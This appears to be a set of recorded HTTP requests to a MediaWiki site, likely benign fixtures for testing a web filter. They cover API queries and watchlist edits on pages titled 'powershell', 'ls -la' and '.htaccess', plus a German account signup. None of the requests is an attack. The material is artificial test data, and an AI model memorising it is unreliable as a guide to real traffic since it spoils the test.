{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
# From a German wiki without short URLs, whose forms post to the German names of
# the special pages: signing up, changing the password, and setting a new
# password at sign-in once the old one expired. Each password is random.
{"method": "GET", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=%40wikimedia%2Fcodex%2Ccodex-styles%2Cjquery%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.createaccount%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l1ne8", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=users&ususers=Beispielnutzer&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Accept-Language: de-DE", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 184", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "action=validatepassword&format=json&user=Beispielnutzer&password=+%2F%22j14y%5B%25%5C(iM%5DzmG%25%3D%5E&email=&realname=&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
{"method": "POST", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Content-Length: 328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "title=Spezial%3ABenutzerkonto+anlegen&wpName=Beispielnutzer&wpPassword=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&retype=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&email=&realname=&wpCreateaccount=Benutzerkonto+erstellen&wpEditToken=%2B%5C&authAction=create&force=&wpCreateaccountToken=7a331f326cb63df209618ab8f4d9ee8c6af3a635%2B%5C"}
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=sklfj", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
